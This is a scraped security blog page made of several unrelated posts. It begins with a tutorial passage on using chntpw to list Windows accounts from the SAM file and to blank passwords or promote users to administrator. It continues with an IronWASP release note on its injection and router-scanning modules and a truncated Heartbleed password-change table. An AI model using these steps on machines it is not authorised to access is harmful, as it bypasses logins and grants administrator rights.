The screen shot below lists the <span style="color: orange;">SAM </span>database file on my hard drive. The screen shot below lists the <span style="color: orange;">SAM </span>database file on my hard drive.</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdzCa-L6BxgvcYMe-Y8vJZ6L22jI91qsHKmHVfCBaoknPyLioCtaSgSS857hMKP9G_Uo-XasIFxzAJ3u87xg624n5eAgMRUoag2-Eg75f6UhxU99EYIqBxKRl2mC3ytmXVRE96WBkWFUNT/s640/SAM-Directory.jpg" width="640" /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: left;">
Type command <b><span style="color: orange;">chntpw -l SAM</span></b> and it will list out all the usernames that are contained on the Windows system.</div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZfgoTCwcqsnk-TlZdEXI0vKMgWlK9QpUO8vFq6tJo5jP51UjC-a2yy65XXLy1oCij3d4ibdN0Htaj8B4vnR1otUfXrl0bdKVRGmOp2TKDJ1JN8x1EwsJhbPP3XRe0QJvI_KDnI7WJkkwi/s640/chntpw-l-SAM.jpg" width="640" /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="text-align: justify;">The command gives us a list of 
usernames on the system. When we have the username we want to modify and
 we simply run the command </span><b style="text-align: justify;"><span style="color: orange;">chntpw -u “username” SAM</span></b></div>
<div class="separator" style="clear: both; text-align: justify;">
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: justify;">
In the example below we typed: <b><span style="color: orange;">chntpw -u “Administrator” SAM</span></b> and we get the following menu:</div>
<div class="separator" style="clear: both; text-align: left;">
<img border="0" height="126" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKOiZ-gP1zXc9Bed7kBYJ5WrY_cHpK-aESHhBaZMCzHeHQEP0S42DJ9cnUOWk1JROOJK6UPBZfoEzUEy-HnAVbbse6ShCEYb1gtzFEmAy7tDvKnAysIsRzG18ISnn8nL8-dOIa4X0r8ZAU/s640/chntpw-u-%25E2%2580%259CUser-Name%25E2%2580%259D-SAM-1024x202.jpg" width="640" /></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both; text-align: justify;">
We now have the option of clearing the password, changing the password, 
or promoting the user to administrator. Changing the password does not 
always work on <b><span style="color: orange;">Windows 7</span></b> 
systems, so it is recommended to clear the password. Therefore you will 
be able to log in with a blank password. You can also promote the user 
to a local administrator as well.</div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
</div>

How to reset Windows password with Kali Linux

Download Kali Linux and burn the ISO to a CD/DVD. Boot Windows machine with the LiveCD . On the boot menu of Kali Linux, select Live (for...

Kali Cleaner: A small cleaner for Kali Linux

What it does? It cleans apt cache. Remove old config files. Remove old kernels. Empty every trashes. What you can do is to save the s...

IronWASP - Open Source Advanced Web Security Testing Platform

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 class="post-title entry-title" itemprop="name">
IronWASP 2014 is finally here!
</h3>
<div class="post-header">

</div>
<a href="https://ironwasp.org/download.html" target="_blank">IronWASP 2014</a> is finally here and it is packed with features to help make your life easy. <br />
<br />
Here's what is new:<br />
<br />
1) <strong>Login recording</strong><br />
Now you can easily just record a login sequence and use it in vulnerability scans and other automated tests. <a href="https://ironwasp.org/learn.html#loginrec" target="_blank">See video tutorial</a>.<br />
<br />
2) <strong>Automatically testing for CSRF, Broken Authentication, Privilege Escalation and Hidden Parameters</strong><br />
Now IronWASP has a new section called Interactive Testing tools that let
 you automatically discover vulnerabilities that could only be 
discovered by manual testing.<br />
See video tutorials for <a href="https://ironwasp.org/learn.html#csrftest" target="_blank">CSRF Tester</a>, <a href="https://ironwasp.org/learn.html#brokenauthtest" target="_blank">Broken Authentication Tester</a>, <a href="https://ironwasp.org/learn.html#hiddenparatest" target="_blank">Hidden Parameter Tester</a> and <a href="https://ironwasp.org/learn.html#privesctest" target="_blank">Privilege Escalation Tester</a><br />
<br />
3) <strong>Browser pre-configured for Manual Crawling</strong><br />
The most common problem with intercepting proxies is that you have 
to change your browser's proxy settings and import the tool's 
certificate as a trusted CA for SSL traffic. Even after doing this there
 is change that traffic from your regular browsing will get mixed with 
your test traffic. IronWASP solves all of these problems, it comes with a
 browser pre-configured to use IronWASP as proxy, it handles SSL 
certificate errors automatically (no need to import as CA) and since 
this is a separate browser it does not affect the regular browsing that 
you are doing in your other browser. <a href="https://ironwasp.org/learn.html#trafficint" target="_blank">See video.</a><br />
<br />
4) <strong>DOM XSS Analyzer</strong><br />
If you understand what DOM XSS sources and sinks are and have the 
ability to understand and analyse JavaScript code then you will find 
this new utility really useful. It makes the process of discovering DOM 
XSS really easy for manual testers. <a href="https://ironwasp.org/learn.html#domxsstest" target="_blank">See video tutorial</a>.<br />
<br />
5) <strong>XmlChor - XPATH Injection Exploitation tool</strong><br />
This version comes with a new Module called XmlChor written by <a href="https://twitter.com/harshal2142" target="_blank">Harshal Jamdade</a>.
 This module can be used to automatically exploit XPATH Injection 
vulnerabilities and extract the backend XML file from the server. <a href="https://ironwasp.org/learn.html#xmlchor" target="_blank">See video tutorial.</a><br />
<br />
6) <strong>WiHawk - WiFi Router Vulnerability Scanner</strong><br />
There version has one more awesome module called WiHawk written by <a href="https://twitter.com/anami2111" target="_blank">Anamika Singh</a>.
 This module can be used to scan a range of IP addresses for WiFi 
routers that have default password and authentication bypass 
vulnerabilities. It also supports Shodan API to scan large number of 
devices on the internet. <a href="https://ironwasp.org/learn.html#wihawk" target="_blank">See video tutorial.</a><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOydG5UVNEFh_q1NWjVVTwgJbgmAcF48aUHCLAIhEhDaDzRGx7pPacO9my66JXygx7YI4PJ2BnPeapVroQvfT7drqyOW9zGwdcDO9PNuXYeHude35k_yMUSF9vWoeUCW2CdFl1hp9bt85_/s1600/logo_with_text.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOydG5UVNEFh_q1NWjVVTwgJbgmAcF48aUHCLAIhEhDaDzRGx7pPacO9my66JXygx7YI4PJ2BnPeapVroQvfT7drqyOW9zGwdcDO9PNuXYeHude35k_yMUSF9vWoeUCW2CdFl1hp9bt85_/s1600/logo_with_text.png" /></a></div>
<br />
<br />
There are a huge number of other additions that make the overall user 
experience better. <br />
</div>

IronWASP - Open Source Advanced Web Security Testing Platform

IronWASP 2014 is finally here! IronWASP 2014 is finally here and it is packed with features to help make your life easy. Here's...

The Heartbleed Hit List: The Passwords You Need to Change Right Now

<br />
<figure class="article-image"><a href="https://www.blogger.com/null" name="lead-image"></a>
<div class="microcontent-wrapper">
  <div class="microcontent-shares" data-description="" data-fragment="lead-image" data-image="http://rack.1.mshcdn.com/media/ZgkyMDE0LzA0LzExLzE3L0hlYXJ0YmxlZWRSLmVkNDc3LmpwZwpwCXRodW1iCTk1MHg1MzQjCmUJanBn/a95e8b94/662/Heartbleed-Refresh.jpg" data-url="">
    
  </div>
<img alt="Heartbleed-refresh" class="microcontent" data-fragment="lead-image" data-image="http://rack.1.mshcdn.com/media/ZgkyMDE0LzA0LzExLzE3L0hlYXJ0YmxlZWRSLmVkNDc3LmpwZwpwCXRodW1iCTk1MHg1MzQjCmUJanBn/a95e8b94/662/Heartbleed-Refresh.jpg" data-micro="1" data-url="null" src="http://rack.1.mshcdn.com/media/ZgkyMDE0LzA0LzExLzE3L0hlYXJ0YmxlZWRSLmVkNDc3LmpwZwpwCXRodW1iCTk1MHg1MzQjCmUJanBn/a95e8b94/662/Heartbleed-Refresh.jpg" />
</div>
<figcaption class="image-caption">It's time to update your passwords to various sites affected by the Heartbleed bug.</figcaption><div class="image-credit">
<br /></div>
</figure>

An encryption flaw called the Heartbleed bug
 is already being called one of the biggest security threats the 
Internet has ever seen. The bug has affected many popular websites and 
services — ones you might use every day, like Gmail and Facebook — and 
could have quietly exposed your sensitive account information (such as 
passwords and credit card numbers) over the past two years.<br />

But it hasn't always been clear which sites have been affected. <em>Mashable</em>
 reached out some of the most popular social, email, banking and 
commerce sites on the web. We've rounded up their responses below.<br />

<div class="see-also">
<br /></div>
Some Internet companies that were vulnerable to the bug have already 
updated their servers with a security patch to fix the issue. This means
 you'll need to go in and change your passwords immediately for these 
sites. Even that is no guarantee that your information wasn't already compromised,
 but there's also no indication that hackers knew about the exploit 
before this week. The companies that are advising customers to change 
their passwords are doing so as a precautionary measure.<br />

Although changing your password regularly is always good practice, if
 a site or service hasn't yet patched the problem, your information will
 still be vulnerable. <br />

Also, if you reused the same password on multiple sites, and one of 
those sites was vulnerable, you'll need to change the password 
everywhere. It's not a good idea to use the same password across 
multiple sites, anyway.<br />

We'll keep updating the list as new information comes in. <em>Last update: April 11, 6:14 p.m. ET</em><br />

<h2 style="margin-top: 22px;">
Social Networks</h2>
<table class="comparison-chart">
<thead>
<tr>
<th width="80"><br /></th>
<th width="70">Was it affected?</th>
<th width="70">Is there a patch?</th>
<th width="70">Do you need to change your password?</th>
<th>What did they say?</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Facebook</strong></td>
<td>Unclear</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"We added protections for Facebook’s 
implementation of OpenSSL before this issue was publicly disclosed. We 
haven’t detected any signs of suspicious account activity, but we 
encourage people to ... set up a unique password."</td>
</tr>
<tr>
<td><strong>Instagram</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"Our security teams worked quickly on a 
fix and we have no evidence of any accounts being harmed. But because 
this event impacted many services across the web, we recommend you 
update your password on Instagram and other sites, particularly if you 
use the same password on multiple sites.”</td>
</tr>
<tr>
<td><strong>LinkedIn</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We didn't use the offending 
implementation of OpenSSL in www.linkedin.com or www.slideshare.net. As a
 result, HeartBleed does not present a risk to these web properties."</td>
</tr>
<tr>
<td><strong>Pinterest</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"We fixed the issue on Pinterest.com, and 
didn’t find any evidence of mischief. To be extra careful, we e-mailed 
Pinners who may have been impacted, and encouraged them to change their 
passwords."</td>
</tr>
<tr>
<td><strong>Tumblr</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"We have no evidence of any breach and, like most networks, our team took immediate action to fix the issue."</td>
</tr>
<tr>
<td><strong>Twitter</strong></td>
<td>No</td>
<td>Yes</td>
<td>Unclear</td>
<td style="font-size: 90%;">Twitter <a href="http://status.twitter.com/post/82109064906/ssl-security-update" target="_blank">wrote</a>
 that OpenSSL "is widely used across the internet and at Twitter. We 
were able to determine that [our] servers were not affected by this 
vulnerability. We are continuing to monitor the situation." While 
reiterating that they were unaffected, Twitter told <em>Mashable</em> that they did apply a patch.</td>
</tr>
</tbody>
</table>
<h2 style="margin-top: 22px;">
Other Companies</h2>
<table class="comparison-chart">
<thead>
<tr>
<th width="80"><br /></th>
<th width="70">Was it affected?</th>
<th width="70">Is there a patch?</th>
<th width="70">Do you need to change your password?</th>
<th>What did they say?</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Apple</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"iOS and OS X never incorporated the vulnerable software and key web-based services were not affected."</td>
</tr>
<tr>
<td><strong>Amazon</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Amazon.com is not affected."</td>
</tr>
<tr></tr>
<tr>
<td><strong>Google</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes*</td>
<td style="font-size: 90%;">“We have assessed the SSL vulnerability 
and applied patches to key Google services.” Search, Gmail, YouTube, 
Wallet, Play, Apps and App Engine were affected; Google Chrome and 
Chrome OS were not.<br /><br />*Google <a href="http://abcnews.go.com/Business/heartbleed-online-bug/story?id=23256168" target="_blank">said</a> users do not need to change their passwords, but because of the previous vulnerability, better safe than sorry.</td>
</tr>
<tr>
<td><strong>Microsoft</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">Microsoft services were not running OpenSSL, according to LastPass.</td>
</tr>
<tr>
<td><strong>Yahoo</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"As soon as we became aware of the issue, 
we began working to fix it... and we are working to implement the fix 
across the rest of our sites right now."  Yahoo Homepage, Yahoo Search, 
Yahoo Mail, Yahoo Finance, Yahoo Sports, Yahoo Food, Yahoo Tech, Flickr 
and Tumblr were patched. More patches to come, Yahoo says.</td>
</tr>
</tbody>
</table>
<h2 style="margin-top: 22px;">
Email</h2>
<table class="comparison-chart">
<thead>
<tr>
<th width="80"><br /></th>
<th width="70">Was it affected?</th>
<th width="70">Is there a patch?</th>
<th width="70">Do you need to change your password?</th>
<th>What did they say?</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>AOL</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">AOL told <em>Mashable</em> it was not running the vulnerable version of the software.</td>
</tr>
<tr>
<td><strong>Gmail</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes*</td>
<td style="font-size: 90%;">“We have assessed the SSL vulnerability and applied patches to key Google services.”<br /><br />*Google <a href="http://abcnews.go.com/Business/heartbleed-online-bug/story?id=23256168" target="_blank">said</a> users do not need to change their passwords, but because of the previous vulnerability, better safe than sorry.</td>
</tr>
<tr>
<td><strong>Hotmail / Outlook</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">Microsoft services were not running OpenSSL, according to LastPass.</td>
</tr>
<tr>
<td><strong>Yahoo Mail</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"As soon as we became aware of the issue, 
we began working to fix it... and we are working to implement the fix 
across the rest of our sites right now."</td>
</tr>
</tbody>
</table>
<h2 style="margin-top: 22px;">
Stores and Commerce</h2>
<table class="comparison-chart">
<thead>
<tr>
<th width="80"><br /></th>
<th width="70">Was it affected?</th>
<th width="70">Is there a patch?</th>
<th width="70">Do you need to change your password?</th>
<th>What did they say?</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Amazon</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Amazon.com is not affected."</td>
</tr>
<tr>
<td><strong>Amazon Web Services</strong> (for website operators)</td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">Most services were unaffected or Amazon was already able to apply mitigations (<a href="https://aws.amazon.com/security/security-bulletins/aws-services-updated-to-address-openssl-vulnerability/" target="_blank">see advisory note here</a>).
 Elastic Load Balancing, Amazon EC2, Amazon Linux AMI, Red Hat 
Enterprise Linux, Ubuntu, AWS OpsWorks, AWS Elastic Beanstalk and Amazon
 CloudFront were patched.</td>
</tr>
<tr>
<td><strong>eBay</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"eBay.com was never vulnerable to this bug because we were never running a vulnerable version of OpenSSL."</td>
</tr>
<tr></tr>
<tr>
<td><strong>Etsy</strong></td>
<td>Yes*</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">Etsy <a href="https://blog.etsy.com/news/2014/security-update-openssl-heartbleed/?ref=about_blog_title" target="_blank">said</a> that only a small part of its infrastructure was vulnerable, and they have patched it.</td>
</tr>
<tr>
<td><strong>GoDaddy</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"We’ve been updating GoDaddy services that use the affected OpenSSL version." <a href="http://godaddyblog.com/open-ssl-heartbleed-weve-patched-servers/" target="_blank">Full Statement</a></td>
</tr>
<tr>
<td><strong>Groupon</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Groupon.com does not utilize a version of the OpenSSL library that is susceptible to the Heartbleed bug."</td>
</tr>
<tr>
<td><strong>Nordstrom</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Nordstrom websites do not use OpenSSL encryption."</td>
</tr>
<tr>
<td><strong>PayPal</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Your PayPal account details were not exposed in the past and remain secure." <a href="https://www.paypal-community.com/t5/PayPal-Forward/OpenSSL-Heartbleed-Bug-PayPal-Account-Holders-are-Secure/ba-p/797568" target="_blank">Full Statement</a></td>
</tr>
<tr>
<td><strong>Target</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"[We] launched a comprehensive review of 
all external facing aspects of Target.com... and do not currently 
believe that any external-facing aspects of our sites are impacted by 
the OpenSSL vulnerability."</td>
</tr>
<tr>
<td><strong>Walmart</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We do not use that technology so we have not been impacted by this particular breach."</td>
</tr>
</tbody>
</table>
<h2 style="margin-top: 22px;">
Videos, Photos, Games & Entertainment</h2>
<table class="comparison-chart">
<thead>
<tr>
<th width="80"><br /></th>
<th width="70">Was it affected?</th>
<th width="70">Is there a patch?</th>
<th width="70">Do you need to change your password?</th>
<th>What did they say?</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Flickr</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"As soon as we became aware of the issue, 
we began working to fix it... and we are working to implement the fix 
across the rest of our sites right now."</td>
</tr>
<tr>
<td><strong>Hulu</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">No comment provided.</td>
</tr>
<tr>
<td><strong>Minecraft</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"We were forced to temporary suspend all 
of our services. ... The exploit has been fixed. We can not guarantee 
that your information wasn't compromised." <a href="https://mojang.com/2014/04/heartbleed/" target="_blank">More Information</a></td>
</tr>
<tr>
<td><strong>Netflix</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"Like many companies, we took immediate 
action to assess the vulnerability and address it. We are not aware of 
any customer impact. It’s a good practice to change passwords from time 
to time, now would be a good time to think about doing so. "</td>
</tr>
<tr>
<td style="font-size: 85%;"><strong>SoundCloud</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">SoundCloud emphasized that there were no indications of any foul play and that the company's actions were simply precautionary.</td>
</tr>
<tr>
<td><strong>YouTube</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes*</td>
<td style="font-size: 90%;">“We have assessed the SSL vulnerability and applied patches to key Google services.”<br /><br />*Google <a href="http://abcnews.go.com/Business/heartbleed-online-bug/story?id=23256168" target="_blank">said</a> users do not need to change their passwords, but because of the previous vulnerability, better safe than sorry.</td>
</tr>
</tbody>
</table>
<h2 style="margin-top: 22px;">
Banks and Brokerages</h2>
All the banks we contacted (see below) said they were unaffected by Heartbleed, but U.S. regulators <a data-crackerjax="#post-slider" href="http://mashable.com/2014/04/10/u-s-regulators-warn-banks-to-fix-heartbleed-bug/">have warned</a> banks to patch their systems.<br />

<table class="comparison-chart">
<thead>
<tr>
<th width="80"><br /></th>
<th width="70">Was it affected?</th>
<th width="70">Is there a patch?</th>
<th width="70">Do you need to change your password?</th>
<th>What did they say?</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Bank of America</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"A majority of our platforms do NOT use OpenSSL, and the ones that do, we have confirmed no vulnerabilities."</td>
</tr>
<tr></tr>
<tr>
<td><strong>Barclays</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">No comment provided.</td>
</tr>
<tr>
<td><strong>Capital One</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Capital One uses a version of encryption that is not vulnerable to Heartbleed."</td>
</tr>
<tr>
<td><strong>Chase</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"These sites don’t use the encryption software that is vulnerable to the Heartbleed bug."</td>
</tr>
<tr>
<td><strong>Citigroup</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">Citigroup does not use Open SSL in "customer-facing retail banking and credit card sites and mobile apps"</td>
</tr>
<tr>
<td><strong>E*Trade</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">E*Trade is still investigating.</td>
</tr>
<tr>
<td><strong>Fidelity</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We have multiple layers of security in place to protect our customer sites and services."</td>
</tr>
<tr>
<td><strong>PNC</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We have tested our online and mobile banking systems and confirmed that they are not vulnerable to the Heartbleed bug."</td>
</tr>
<tr>
<td><strong>Schwab</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Efforts to date have not detected this vulnerability on Schwab.com or any of our online channels."</td>
</tr>
<tr>
<td><strong>Scottrade</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Scottrade does not use the affected version of OpenSSL on any of our client-facing platforms."</td>
</tr>
<tr>
<td><strong>TD Ameritrade</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">TD Ameritrade "doesn't use the versions of openSSL that were vulnerable."</td>
</tr>
<tr>
<td><strong>TD Bank</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We're currently taking precautions and 
steps to protect customer data from this threat and have no reason to 
believe any customer data has been compromised in the past."</td>
</tr>
<tr>
<td><strong>T. Rowe Price</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"The T. Rowe Price websites are not vulnerable to the “Heartbleed” SSL bug nor were they vulnerable in the past."</td>
</tr>
<tr>
<td><strong>U.S. Bank</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We do not use OpenSSL for customer-facing, Internet banking channels, so U.S. Bank customer data is NOT at risk."</td>
</tr>
<tr>
<td><strong>Vanguard</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We are not using, and have not used, the vulnerable version of OpenSSL."</td>
</tr>
<tr>
<td><strong>Wells Fargo</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">No reason provided.</td>
</tr>
</tbody>
</table>
<h2 style="margin-top: 22px;">
Government and Taxes</h2>
<table class="comparison-chart">
<thead>
<tr>
<th width="80"><br /></th>
<th width="70">Was it affected?</th>
<th width="70">Is there a patch?</th>
<th width="70">Do you need to change your password?</th>
<th>What did they say?</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>1040.com</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We're not vulnerable to the Heartbleed bug, as we do not use OpenSSL."</td>
</tr>
<tr>
<td><strong>FileYour Taxes.com</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We continuously patch our servers to keep
 them updated. However, the version we use was not affected by the 
issue, so no action was taken."</td>
</tr>
<tr>
<td><strong>H&R Block</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"We are reviewing our systems and currently have found no risk to client data from this issue."</td>
</tr>
<tr>
<td><strong>Healthcare .gov</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Healthcare.gov consumer accounts are not affected by this vulnerability."</td>
</tr>
<tr>
<td><strong>Intuit (TurboTax)</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">Turbotax <a href="http://blog.turbotax.intuit.com/2014/04/09/turbotax-is-secured-against-the-heartbleed-internet-vulnerability/" target="_blank">wrote</a>
 that "engineers have verified TurboTax is not affected by Heartbleed." 
The company has issued new certificates anyway, and said it's not 
"proactively advising" users to change their passwords.</td>
</tr>
<tr>
<td><strong>IRS</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"The IRS continues to accept tax returns 
as normal ... and systems continue operating and are not affected by 
this bug. We are not aware of any security vulnerabilities related to 
this situation."</td>
</tr>
<tr>
<td><strong>TaxACT</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Customers can update their passwords at any time, although we are not proactively advising them to do so at this time."</td>
</tr>
<tr>
<td><strong>USAA</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">USAA <a href="https://communities.usaa.com/t5/USAA-News/USAA-Takes-Measures-Against-Heartbleed-Bug/ba-p/25876" target="_blank">said</a> that it has "already taken measures to help prevent a data breach and implemented a patch earlier this week."</td>
</tr>
</tbody>
</table>
<h2 style="margin-top: 22px;">
Other</h2>
<table class="comparison-chart">
<thead>
<tr>
<th width="80"><br /></th>
<th width="70">Was it affected?</th>
<th width="70">Is there a patch?</th>
<th width="70">Do you need to change your password?</th>
<th>What did they say?</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Box</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"We're currently working with our 
customers to proactively reset passwords and are also reissuing new SSL 
certificates for added protection."</td>
</tr>
<tr>
<td><strong>Dropbox</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">On <a href="https://twitter.com/dropbox_support/status/453673783480832000" target="_blank">Twitter</a>: "We’ve patched all of our user-facing services & will continue to work to make sure your stuff is always safe."</td>
</tr>
<tr>
<td><strong>Evernote</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">"Evernote's service, Evernote apps, and 
Evernote websites ... all use non-OpenSSL implementations of SSL/TLS to 
encrypt network communications." <a href="http://discussion.evernote.com/topic/56287-heartbleed/" target="_blank">Full Statement</a></td>
</tr>
<tr>
<td><strong>GitHub</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">GitHub <a href="https://github.com/blog/1818-security-heartbleed-vulnerability" target="_blank">said</a>
 it has patched all its systems, deployed new SSL certificates and 
revoked old ones. GitHub is asking all users to change password, enable 
two-factor authentication and "revoke and recreate personal access and 
application tokens."</td>
</tr>
<tr>
<td><strong>IFTTT</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">IFTTT emailed all its users and logged them out, prompting them to change their password on the site.</td>
</tr>
<tr>
<td><strong>OKCupid</strong></td>
<td>Yes</td>
<td>Yes</td>
<td><span class="yes" style="float: left; margin-top: -4px; padding-right: 5px;">Yes</span> Yes</td>
<td style="font-size: 90%;">"We, like most of the Internet, were stunned that such a serious bug has existed for so long and was so widespread."</td>
</tr>
<tr>
<td><strong>Spark Networks (JDate, Christian Mingle)</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td style="font-size: 90%;">Sites do not use OpenSSL.</td>
</tr>
<tr>
<td><strong>SpiderOak</strong></td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td style="font-size: 90%;">Spideroak <a href="https://spideroak.com/blog/20140408174250-spideroak-com-related-ssl-certificates-changed-today-due-openssl-bug" target="_blank">said</a>
 it patched its servers, but the desktop client doesn't use a vulnerable
 version of OpenSSL, so "customers do not need to take any special 
action."</td>
</tr>
<tr><td><strong>Wordpress</strong></td>
<td>Unclear</td>
<td>Unclear</td>
<td>Unclear</td>
